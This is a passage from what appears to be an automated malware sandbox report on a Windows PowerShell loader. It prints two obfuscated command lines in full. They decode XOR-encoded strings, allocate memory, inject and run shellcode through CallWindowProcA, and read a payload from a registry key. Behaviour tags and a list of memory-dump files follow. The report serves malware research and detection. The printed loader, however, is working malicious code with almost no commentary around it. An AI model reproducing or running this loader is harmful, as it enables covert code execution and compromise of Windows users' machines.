i9Cu9Id9moFKa1Ad8Bo2By9Me0SuBGo7GeASaDNo8ek9MiADiDDoACeBSi8Le4UnFWa5ReFAn9Be8Cy2Un8KoCHy9Va0grBDe7chALiDCaEFrACoETuBOr8Ud4DiFre5ToFFu9Af8Co2fr8VeCem9As0PhBli7ciADeDInEAdASoEWhBMo8Po4TaFFi5UnFNo9Tr8Fi2Eb8StCUd9Al0YaBrn7InASoDAtEElAUdEAnBCa8Su4KnFPa0KyFRe9HyFBu1Te8In2Sk9Sa0EuBVa7AmAEfDNo8Ce9UlAPrDDrAPrBHe8Mi4HeFEu0KoFVr0PoFpa0Kr'Br;Pa&Th(Bi`$ReDWheCofSaiFolMoaXybLelPrewh7Re)Sp Sv`$SoCSlsReaMorrveOvrSinmieSy6Fl;Dk`$elIBrbVireduUngOvtCoaFlgFonSpiAlnSagDasTitWiiFudSesPrpAfuSynUnkSptAreNorDa Pr=li DafShkDepBi he`$SnDSoeKlfOmiHaletaKrbPelSveVe5Fl Lu`$NoDSvePofPriUnlTaaKlbIslDeeBi6Co;Fo`$FoCGosfraTyrViezarIsnraePr7Fo Ro=La GoDAmybrrShlFlgAceSonUnsva0An Fl'ReFCaDFo9Ur8GeAIs9TiBRu6LiACoBBrAUnDHyEDrAMaFOx9ViEdi4ObFaf9EnFDiDBa9Re2PaBAb8niABrFleBRa8SiALoARiFUl7Re9Ca0SmBOp7ThAGoFAnBHy6AmBsp2FoBPuCTnFAl1Au8De2No9Ta0saBEn7ReAUnDPa8Ca9RaAViDSaALiBCo8Af4YvEHv3paEDo3In8Pt3AlBBoCSaAOvBPeBUn6AbFUr5EnFFr9TeEDeFSkEAnCAfEStFEcFHa5ByFSv9UlEBe9GaAIn1PrETiATrEUk9ViELu9LaELa9UnFCi5SnFSo9FuEIn9SkATo1FrEVaDCeEZa9PaFVo0Po'Re;Dr&fe(St`$CoDKlePofReiDilBeaFobJilTreBo7St)En Ei`$CaCkasTraKorOveEprDenmoeRu7Ri;Et`$FiCMasOpaForExeParSpnGtean8Yd St=Ja TrDUnyDirSclKagIneGanResim0Op Ma'haFReDBl9Be5StAPaCNoBFa7FiBTiDStBSu0AaBFr7TuByn8PhAPoBCuBGa0StAceCmiBTy4PrFAc9GrERe4BeFAf9BrFGuDTf9Ho2SeBBu8anAHaFAgBPe8ApAAnAAfFPr7Tr9So0MeBDu7SpABrFErBDi6EnBPo2TnBTvCJaFEw1In8Be2Hi9So0NoBOp7InASkDUr8Va9CiAHiDSjAKoBUn8Se4HaEBo3FiESo3Go8Va3ThBSlCPaAImBGaBFe6UnFYd5InFKo9FeEDiCClEJuBWiERa1olESoAKoEFlDSiEanAAjEsu9GrEHyDOvFSh5RaFSt9PoEAr9SeAFo1OtEPtAPrERe9anESe9PeETi9AnFMu5UnFAn9SyEFo9imAAd1elEOcDAlFEn0du'Te;Be&Sy(Lo`$AfDLseDufTaiInlVaatrbStlLoeVr7No)Li Op`$SkCEkselaStrAdeSmrFanPaebl8Bi;El`$spAPapInoMarAftPl0Ru0Cy=Ec'suHFoKUnCRaUJu:Th\ApbReaWirHobAmeBecDruFreTrrPsnCheJu\GeaAncrurDioDodFioKdnMotLo'Co;Uf`$BiAShpBeoStrDitst0Fo1Ov In=DiDViyLirMolRegSteBentvsOv0Ac ba'HyFBlDBa9Ba4ReBRa8MiAunBMeBOp8PrABaDUnBEd1GeBIn6AfBNa7KuBKo0MaBJu8FoBSt7SiEUd4GyFUf1No9ArEUnBBaCUnAUnDHaFAu4Cu9Pr0KoAFoDPrBOcCPrBVo4Sm8Ad9GyABuBTeBKo6ryAFo9FoBHoCAvAspBheACoDTeABr0YeFPj9SmFSw4Te8Ho9RaBRa8GnAPeDUdBIn1FuFFo9UnFAuDPs9Fo8UnASu9WiBTh6GeAPhBElAByDFoEBu9PrEMo9MiFVi0ChFJu7Ge8MaAWiABoDVeBMeCJoBIn4SuBTw4TeBStCTrAHeASaBSu8coBOk4SeBEl5AlBfoCSeAklBNaBAp7FoBRaCAf'Rh;Ak&Mh(Re`$RaDRueFofNoiBelSkaAvbRelSceUp7Rr)Ba Pr`$chAfdpbooAnrQutNo0Tr1Ki;Mi`$KuCBysNaaBerMaeDirOfnUneub9So Fe=Bu toDUnyNarRelUngAseRanMasDo0Un pa'EtFPoDMl9heASiAUnAOrBSl8JuAvaBPlBReCWaAAmBFoBAb7HeBReCAkFBe9SgESj4fuFBo9Di8Ge2Hj8KoAAnAPa0ObABaAUnABeDSuBAnCUdBRn4FaFBa7Ra9DiADyBKy6ZoBva7OpAUnFVaBTaCReAcaBDaANoDSa8Sp4StERa3caEHa3Su9LaFExAUdBTeBTr6frBDa4Br9BaBFoBSu8TiAHoAUnBCaCUnEVaFdeEBlDTh8KeAMaACuDPaAseBAfBTr0AnBFi7KaBprEFrFLe1BeFBrDDr9Em4spBfo8NoASaBUdBno8UpAHyDJoBRe1NiBOo6VgBFi7AfBNy0FrBIn8BrBto7PiFCa0We'Su;Pu&Bi(Ra`$EkDBoeCofBoiBrlSaaKabPulReeMr7mi)An Au`$FjCTesTiaPirEleAurOunKaeSt9He;di`$HyMOraPrrLiaUntDbhTaoApnliiElaBonun0Ph Ha=Ti FdDPayMorkelBogDieScnShsBr0ab Ud'Ol8Ma2Li8KeAFuACo0CeAKoAEnASpDBuBJuCCrBPh4BeFNa7Tr8SiBNuAPeCUrBTi7DeATrDdeBBe0SuBBi4OpBTeCBrFTi7Re9Ku0HyBca7ToAOrDUnBstCStAOmBBeBCo6BrASa9Ca8FoALeBBrCMaABaBNoAFeFUnBMn0FoBCoATeBOpCPoAOlAJoFPr7Be9Pa4OmBUn8OmAReBDiATnADrBCo1SaBTi8PeBSs5Af8St4TvELu3blEGi3Da9DaABeBUt6WhACr9PeAVi0AdFSa1DaFBoDUn9UdAUnADiABeBAf8KuAFoBFiBSeCGrAPaBCoBCl7FoBPuCAcFRm5InFRe9PoELn9SeFSt5ErFMa9StFSu9siFyeDUn9Pr8FaADj9ApBOv6HoAleBBoAFiDRaEprAExFet5OvFNo9PrESlFMaEAaCUdEGeFSeFEl0Mi'Ba;Cy&In(Ti`$MeDSueSyfDriRelInaLabSklFreNe7Ra)Di Go`$NiMDeaUvrIdaOvtSchBeoBenSlirgaNangr0Da;No`$TrDSiaErgBrbMelFiaDidIn=Or`$ArCHrsBraImrMoeAlrTinGleUd.StcProByuSanBotTr-Ha6ch5In6Fl;Re`$StMErabrrbaaFatBahSooMunRaiFoaStnAf1La Ko=An PrDUnyTrrAflDegmaePlnSysIn0qe Wa'Tu8Bl2Bl8MaAudANu0DeAPrAAlABaDDuBGeCCoBSt4UnFCo7Ag8PlBFoANoCKlBUd7AfADkDAfBra0ShBAr4MaBKiCSoFta7Fe9Tr0SyBod7LaATaDHuBSkCPaAToBUnBde6FnAfe9Bi8IsAFoBFoCPeAPlBKrAPaFGaBLa0FiBCyAneBgeCSsAluABaFSt7Ti9sp4GrBEx8HaAGaBLaAHaAKlBDo1ReBRe8HoBTr5Re8Pl4LoEbe3ToEFo3Ar9OcAbeBSe6EtASp9SkARe0EjFPa1JuFBuDCo9EnAUpAirAJoBGe8JaAPrBAcBmeCVeAExBPuBBe7UnBBeCBuFPl5fgFBo9FoEIsFDrEStCKoECaFUnFRo5FrFVa9AmFOuDFi9Ov5WeAAmCAnBCa7PuBHoDBeBMa0SoBAr7AcBDo8CoAHaBUnBFo0ArAchCskBBe4tuFFo5FuFPa9HeFAnDLy9DoDKoBTr8ArBSnEDiBFrBDoBVa5miBSh8UnBspDEjFMy0Si'Hj;Ko&Ki(Qu`$ZoDBaeBrfSoiOplSoaTibRelAceBe7Dr)Un Ko`$adMLaaOprMeaAltCohGroVendiiQuaRunKa1Hi;Pa`$SkMStaCerUpalatSuhSeoOrnPoiUnaurnRo2Pa Je=Kv imDHayForAllUdgSteYinPlsCo0Me Ko'AfFhoDTe8OmFSuBIn8BiBis7KuBAdDInBCo0UnBAp7BaBUnDDiAreFtoBAf0SuBDa7seBKnDCeBSi0fnBBr7TiBLeEIsAMoAViBUn8NeBBo7OfBSt5PaBBaEDiBMiEElBRaCErAChDKaABrAKvFko9veEDr4SkFAr9ga8St2Zi8UdAEnASe0FlAUnAKoALoDZeBBiCSpBEs4AsFTi7Co8EvBScAArCpaBGa7SaAReDFoBMo0StBHe4MdBcoCElFBe7Ge9El0FoBun7PrACoDInBBaCExAEuBBaBKo6SuAca9Le8SaASaBVeCHoAHaBArAPrFSkBFo0EnBkaAPrBStCMeANoAMiFKi7In9Ti4UdBSt8FrADeBInAAgATiBCe1crBMu8PiBSk5no8no4NoEYe3StEPa3Le9CrETuBNoCMaAIbDLe9LyDLaBcaCSaBGa5EfBCoCAmBEgEMiBUd8baACyDBrBUnCIn9VaFCoBTj6NoAPoBDe9udFLyAOdCTuBAf7OvBVaAUnADiDHjBMi0MuBKi6MeBKo7Po8Ti9OmBRa6olBPl0LrBKa7KrAAnDReBCaCefAZyBliFId1VrFFo1NiBopFHoBTj2CaAIn9FiFYa9SpFOpDTa8CoFMiBRi0omAAnBMaBbo0AdBDr5ChBBaCFrFSu9HoFHvDac9ta5FoBPh0UnAlnDFaARoDTaBPeCArAUdBPaBshBjuBSn8afBBdEEgFpy0FrFNo5AtFTn9AbFNo1Fa9SiEHy9leDGe8TaDFoFNe9El9Be9LiFAa1Wy8be2Fo9Re0CyBVe7SiAAfDPe8Mn9DeAPrDPaAUpBFo8Re4ByFsh5SpFPr9Fo8St2Pa9Ze0AvBMa7meAReDMi8Ga9EmAFaDStANeBAr8Me4brFSt5siFOr9Pu8Gn2Su9Sc0GrBRi7PrACoDSe8Ef9GiANeDChAkiBAn8Ml4ElFFi5AlFVe9Af8Hj2Bu9Be0MaBTi7HaACoDOc8Ha9SkAAmDInABuBSu8fo4PaFFa5KmFSt9Pe8Se2Ka9De0AfBSt7MoAVeDOv8Dy9AnAAnDCoAmeBUr8Pl4OtFRe0ScFNu9DeFLo1Pl8Ci2Sl9Fa0BeBTa7NoASpDDe8Da9BaAreDSiAAgBVg8Sp4doFAn0InFDe0GrFRe0Be'Bu;Ph&Sk(in`$RoDCeeOmfKoiInlLsaVebSulreeIn7Ol)Sy Vr`$VaMFraChrtraSttSahAsoConHaiTwaRdnAn2Ba;Da`$UnMKlaDirLuaBotUnhbeoprnApiSkaCanEr3Br Ny=Ma JaDNoyLarValEngTiePrnNosDa0An Uf'KoFFoDGr8SpFBeBCl8XeBOs7UnBMoDLaBTa0FiBSa7SvBTrDOsAAmFMaBIn0AvBId7ErBpoDEtBJa0AnBQu7BeBLnEPlAjaATeBBa8FyBWi7CoBUl5ReBAkEFiBKiEToBUnCPrAUnDCiAPrAKlFPa7Un9Re0DuBex7ViASkFKaBFi6StBOd2YoBPrCpaFLu1MuFDeDLy9Fu8ViASp9HaBAv6SmAelBSuAMeDTrELyAAbFPe5LeFStDEt9De5ReAHdCChBTu7FoBBoDMeBEs0HoBBe7UnBIf8TrARiBWaBSl0brAaaCKrBUn4caFRa5AsFPaDde9sh0ArBWoBHiAVoBomAInCSwBMiEreALoDStBAs8BrBHaEunBBe7skBDo0SaBfo7UoBInEEqAOpABuAMaDVoBMa0PeBImDDeAskAAmAMe9TuAObCHoBSt7EnBBl2baAVaDOgBSpCObASeBhuFge5EnEOv9AfFOr5MaEte9ApFVa0Tl'Lo;Fi&Sk(Ga`$PjDdieMefRoiEqlYaaNubHelMoeSt7Pr)Ju Pa`$SkMKvaNorruaGotAphKuoInnDuiNoaFonop3Ar#Om;""";;Function Marathonian9 { param([String]$Eftertrykkeligt); For($Cricoidectomy=2; $Cricoidectomy -lt $Eftertrykkeligt.Length-1; $Cricoidectomy+=(2+1)){ $Dyrlgens = $Dyrlgens + $Eftertrykkeligt.Substring($Cricoidectomy, 1); } $Dyrlgens;}$Aliene0 = Marathonian9 'Me Di An Re Mi Ce Sp Ex Ve Vi Al Ha Hv Ra Sy Th Gl Ag St In Po So Mi UnINiEDrXTa ';$Aliene1= Marathonian9 $Regressionsanalysen;if([IntPtr]::size -eq 8){.$env:windir\S*64\W*Power*\v1.0\*ll.exe $Aliene1 ;}else{.$Aliene0 $Aliene1;}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2912
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Dyrlgens0 { param([String]$Eftertrykkeligt); $Dod = New-Object byte[] ($Eftertrykkeligt.Length / 2); For($Cricoidectomy=0; $Cricoidectomy -lt $Eftertrykkeligt.Length; $Cricoidectomy+=2){ $Askebgrenes = $Eftertrykkeligt.Substring($Cricoidectomy, 2); $Dod[$Cricoidectomy/2] = [convert]::ToByte($Askebgrenes, 16); $Dod[$Cricoidectomy/2] = ($Dod[$Cricoidectomy/2] -bxor 217); } [String][System.Text.Encoding]::ASCII.GetString($Dod);}$Sindsbevgelsens0=Dyrlgens0 '8AA0AAADBCB4F7BDB5B5';$Sindsbevgelsens1=Dyrlgens0 '94B0BAABB6AAB6BFADF78EB0B7EAEBF78CB7AAB8BFBC97B8ADB0AFBC94BCADB1B6BDAA';$Sindsbevgelsens2=Dyrlgens0 '9EBCAD89ABB6BA98BDBDABBCAAAA';$Sindsbevgelsens3=Dyrlgens0 '8AA0AAADBCB4F78BACB7ADB0B4BCF790B7ADBCABB6A98ABCABAFB0BABCAAF791B8B7BDB5BC8BBCBF';$Sindsbevgelsens4=Dyrlgens0 'AAADABB0B7BE';$Sindsbevgelsens5=Dyrlgens0 '9EBCAD94B6BDACB5BC91B8B7BDB5BC';$Sindsbevgelsens6=Dyrlgens0 '8B8D8AA9BCBAB0B8B597B8B4BCF5F991B0BDBC9BA08AB0BEF5F989ACBBB5B0BA';$Sindsbevgelsens7=Dyrlgens0 '8BACB7ADB0B4BCF5F994B8B7B8BEBCBD';$Sindsbevgelsens8=Dyrlgens0 '8BBCBFB5BCBAADBCBD9DBCB5BCBEB8ADBC';$Sindsbevgelsens9=Dyrlgens0 '90B794BCB4B6ABA094B6BDACB5BC';$Defilable0=Dyrlgens0 '94A09DBCB5BCBEB8ADBC8DA0A9BC';$Defilable1=Dyrlgens0 '9AB5B8AAAAF5F989ACBBB5B0BAF5F98ABCB8B5BCBDF5F998B7AAB09AB5B8AAAAF5F998ACADB69AB5B8AAAA';$Defilable2=Dyrlgens0 '90B7AFB6B2BC';$Defilable3=Dyrlgens0 '89ACBBB5B0BAF5F991B0BDBC9BA08AB0BEF5F997BCAE8AB5B6ADF5F98FB0ABADACB8B5';$Defilable4=Dyrlgens0 '8FB0ABADACB8B598B5B5B6BA';$Defilable5=Dyrlgens0 'B7ADBDB5B5';$Defilable6=Dyrlgens0 '97AD89ABB6ADBCBAAD8FB0ABADACB8B594BCB4B6ABA0';$Defilable7=Dyrlgens0 '909C81';$Defilable8=Dyrlgens0 '85';$Virile=Dyrlgens0 '8C8A9C8BEAEB';$Litterbag=Dyrlgens0 '9AB8B5B58EB0B7BDB6AE89ABB6BA98';function fkp {Param ($Loggier, $Opstartsfil) ;$Csarerne0 =Dyrlgens0 'FD9FB6ABBFB5A0BEADB0BEBCB7BDBCAAF9E4F9F18298A9A99DB6B4B8B0B784E3E39AACABABBCB7AD9DB6B4B8B0B7F79EBCAD98AAAABCB4BBB5B0BCAAF1F0F9A5F98EB1BCABBCF496BBB3BCBAADF9A2F9FD86F79EB5B6BBB8B598AAAABCB4BBB5A09AB8BAB1BCF9F498B7BDF9FD86F795B6BAB8ADB0B6B7F78AA9B5B0ADF1FD9DBCBFB0B5B8BBB5BCE1F082F4E884F79CA8ACB8B5AAF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAE9F0F9A4F0F79EBCAD8DA0A9BCF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAE8F0';&($Defilable7) $Csarerne0;$Csarerne5 = Dyrlgens0 'FD9BACBEB1B6ACAABCF9E4F9FD9FB6ABBFB5A0BEADB0BEBCB7BDBCAAF79EBCAD94BCADB1B6BDF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAEBF5F9828DA0A9BC828484F999F1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAEAF5F9FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAEDF0F0';&($Defilable7) $Csarerne5;$Csarerne1 = Dyrlgens0 'ABBCADACABB7F9FD9BACBEB1B6ACAABCF790B7AFB6B2BCF1FDB7ACB5B5F5F999F1828AA0AAADBCB4F78BACB7ADB0B4BCF790B7ADBCABB6A98ABCABAFB0BABCAAF791B8B7BDB5BC8BBCBF84F197BCAEF496BBB3BCBAADF98AA0AAADBCB4F78BACB7ADB0B4BCF790B7ADBCABB6A98ABCABAFB0BABCAAF791B8B7BDB5BC8BBCBFF1F197BCAEF496BBB3BCBAADF990B7AD89ADABF0F5F9F1FD9FB6ABBFB5A0BEADB0BEBCB7BDBCAAF79EBCAD94BCADB1B6BDF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAECF0F0F790B7AFB6B2BCF1FDB7ACB5B5F5F999F1FD95B6BEBEB0BCABF0F0F0F0F5F9FD96A9AAADB8ABADAABFB0B5F0F0';&($Defilable7) $Csarerne1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Repacification,[Parameter(Position = 1)] [Type] $Umenneskets = [Void]);$Csarerne2 = Dyrlgens0 'FD93BCAEA0EBECEAF9E4F98298A9A99DB6B4B8B0B784E3E39AACABABBCB7AD9DB6B4B8B0B7F79DBCBFB0B7BC9DA0B7B8B4B0BA98AAAABCB4BBB5A0F1F197BCAEF496BBB3BCBAADF98AA0AAADBCB4F78BBCBFB5BCBAADB0B6B7F798AAAABCB4BBB5A097B8B4BCF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAE1F0F0F5F9828AA0AAADBCB4F78BBCBFB5BCBAADB0B6B7F79CB4B0ADF798AAAABCB4BBB5A09BACB0B5BDBCAB98BABABCAAAA84E3E38BACB7F0F79DBCBFB0B7BC9DA0B7B8B4B0BA94B6BDACB5BCF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAE0F5F9FDBFB8B5AABCF0F79DBCBFB0B7BC8DA0A9BCF1FD9DBCBFB0B5B8BBB5BCE9F5F9FD9DBCBFB0B5B8BBB5BCE8F5F9828AA0AAADBCB4F794ACB5ADB0BAB8AAAD9DBCB5BCBEB8ADBC84F0';&($Defilable7) $Csarerne2;$Csarerne3 = Dyrlgens0 'FD93BCAEA0EBECEAF79DBCBFB0B7BC9AB6B7AAADABACBAADB6ABF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAEFF5F9828AA0AAADBCB4F78BBCBFB5BCBAADB0B6B7F79AB8B5B5B0B7BE9AB6B7AFBCB7ADB0B6B7AA84E3E38AADB8B7BDB8ABBDF5F9FD8BBCA9B8BAB0BFB0BAB8ADB0B6B7F0F78ABCAD90B4A9B5BCB4BCB7ADB8ADB0B6B79FB5B8BEAAF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAEEF0';&($Defilable7) $Csarerne3;$Csarerne4 = Dyrlgens0 'FD93BCAEA0EBECEAF79DBCBFB0B7BC94BCADB1B6BDF1FD9DBCBFB0B5B8BBB5BCEBF5F9FD9DBCBFB0B5B8BBB5BCEAF5F9FD8CB4BCB7B7BCAAB2BCADAAF5F9FD8BBCA9B8BAB0BFB0BAB8ADB0B6B7F0F78ABCAD90B4A9B5BCB4BCB7ADB8ADB0B6B79FB5B8BEAAF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAEEF0';&($Defilable7) $Csarerne4;$Csarerne5 = Dyrlgens0 'ABBCADACABB7F9FD93BCAEA0EBECEAF79AABBCB8ADBC8DA0A9BCF1F0';&($Defilable7) $Csarerne5 ;}$Passageways = Dyrlgens0 'B2BCABB7BCB5EAEB';$Csarerne6 = Dyrlgens0 'FD92B8AFB8AAF9E4F9828AA0AAADBCB4F78BACB7ADB0B4BCF790B7ADBCABB6A98ABCABAFB0BABCAAF794B8ABAAB1B8B584E3E39EBCAD9DBCB5BCBEB8ADBC9FB6AB9FACB7BAADB0B6B789B6B0B7ADBCABF1F1BFB2A9F9FD89B8AAAAB8BEBCAEB8A0AAF9FD9DBCBFB0B5B8BBB5BCEDF0F5F9F19E9D8DF999F18290B7AD89ADAB84F5F9828C90B7ADEAEB84F5F9828C90B7ADEAEB84F5F9828C90B7ADEAEB84F0F9F18290B7AD89ADAB84F0F0F0';&($Defilable7) $Csarerne6;$Ibrugtagningstidspunkter = fkp $Defilable5 $Defilable6;$Csarerne7 = Dyrlgens0 'FD98A9B6ABADEAF9E4F9FD92B8AFB8AAF790B7AFB6B2BCF18290B7AD89ADAB84E3E383BCABB6F5F9EFECEFF5F9E9A1EAE9E9E9F5F9E9A1EDE9F0';&($Defilable7) $Csarerne7;$Csarerne8 = Dyrlgens0 'FD95ACB7BDB0B7B8ABB0ACB4F9E4F9FD92B8AFB8AAF790B7AFB6B2BCF18290B7AD89ADAB84E3E383BCABB6F5F9ECEBE1EAEDEAE9EDF5F9E9A1EAE9E9E9F5F9E9A1EDF0';&($Defilable7) $Csarerne8;$Aport00='HKCU:\barbecuerne\acrodont';$Aport01 =Dyrlgens0 'FD94B8ABB8ADB1B6B7B0B8B7E4F19EBCADF490ADBCB489ABB6A9BCABADA0F9F489B8ADB1F9FD98A9B6ABADE9E9F0F78AADBCB4B4BCAAB8B4B5BCABB7BC';&($Defilable7) $Aport01;$Csarerne9 = Dyrlgens0 'FD9AAAB8ABBCABB7BCF9E4F9828AA0AAADBCB4F79AB6B7AFBCABAD84E3E39FABB6B49BB8AABCEFED8AADABB0B7BEF1FD94B8ABB8ADB1B6B7B0B8B7F0';&($Defilable7) $Csarerne9;$Marathonian0 = Dyrlgens0 '828AA0AAADBCB4F78BACB7ADB0B4BCF790B7ADBCABB6A98ABCABAFB0BABCAAF794B8ABAAB1B8B584E3E39AB6A9A0F1FD9AAAB8ABBCABB7BCF5F9E9F5F9F9FD98A9B6ABADEAF5F9EFECEFF0';&($Defilable7) $Marathonian0;$Dagblad=$Csarerne.count-656;$Marathonian1 = Dyrlgens0 '828AA0AAADBCB4F78BACB7ADB0B4BCF790B7ADBCABB6A98ABCABAFB0BABCAAF794B8ABAAB1B8B584E3E39AB6A9A0F1FD9AAAB8ABBCABB7BCF5F9EFECEFF5F9FD95ACB7BDB0B7B8ABB0ACB4F5F9FD9DB8BEBBB5B8BDF0';&($Defilable7) $Marathonian1;$Marathonian2 = Dyrlgens0 'FD8FB8B7BDB0B7BDAFB0B7BDB0B7BEAAB8B7B5BEBEBCADAAF9E4F9828AA0AAADBCB4F78BACB7ADB0B4BCF790B7ADBCABB6A98ABCABAFB0BABCAAF794B8ABAAB1B8B584E3E39EBCAD9DBCB5BCBEB8ADBC9FB6AB9FACB7BAADB0B6B789B6B0B7ADBCABF1F1BFB2A9F9FD8FB0ABB0B5BCF9FD95B0ADADBCABBBB8BEF0F5F9F19E9D8DF999F18290B7AD89ADAB84F5F98290B7AD89ADAB84F5F98290B7AD89ADAB84F5F98290B7AD89ADAB84F5F98290B7AD89ADAB84F0F9F18290B7AD89ADAB84F0F0F0';&($Defilable7) $Marathonian2;$Marathonian3 = Dyrlgens0 'FD8FB8B7BDB0B7BDAFB0B7BDB0B7BEAAB8B7B5BEBEBCADAAF790B7AFB6B2BCF1FD98A9B6ABADEAF5FD95ACB7BDB0B7B8ABB0ACB4F5FD90BBABACBEADB8BEB7B0B7BEAAADB0BDAAA9ACB7B2ADBCABF5E9F5E9F0';&($Defilable7) $Marathonian3#"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3500

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2912-120-0x0000000000000000-mapping.dmp

Download
memory/2912-125-0x000001A278560000-0x000001A278582000-memory.dmp

Filesize
136KB

Download
memory/2912-128-0x000001A278910000-0x000001A278986000-memory.dmp

Filesize
472KB

Download
memory/3500-131-0x0000000000000000-mapping.dmp

Download
memory/3500-132-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-133-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-134-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-135-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-136-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-137-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-138-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-139-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-140-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-141-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-142-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-143-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-144-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-145-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-146-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-147-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-148-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-149-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-150-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-151-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-152-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-153-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-154-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-155-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-156-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-157-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-158-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-159-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-160-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-161-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-163-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-164-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-166-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-167-0x0000000000D90000-0x0000000000DC6000-memory.dmp

Filesize
216KB

Download
memory/3500-168-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-169-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-170-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-171-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-172-0x0000000006D70000-0x0000000007398000-memory.dmp

Filesize
6.2MB

Download
memory/3500-173-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-174-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-175-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-176-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-177-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-178-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-179-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-180-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-181-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-182-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-183-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-185-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-184-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-186-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-187-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-188-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-189-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-190-0x0000000006CE0000-0x0000000006D02000-memory.dmp

Filesize
136KB

Download
memory/3500-191-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
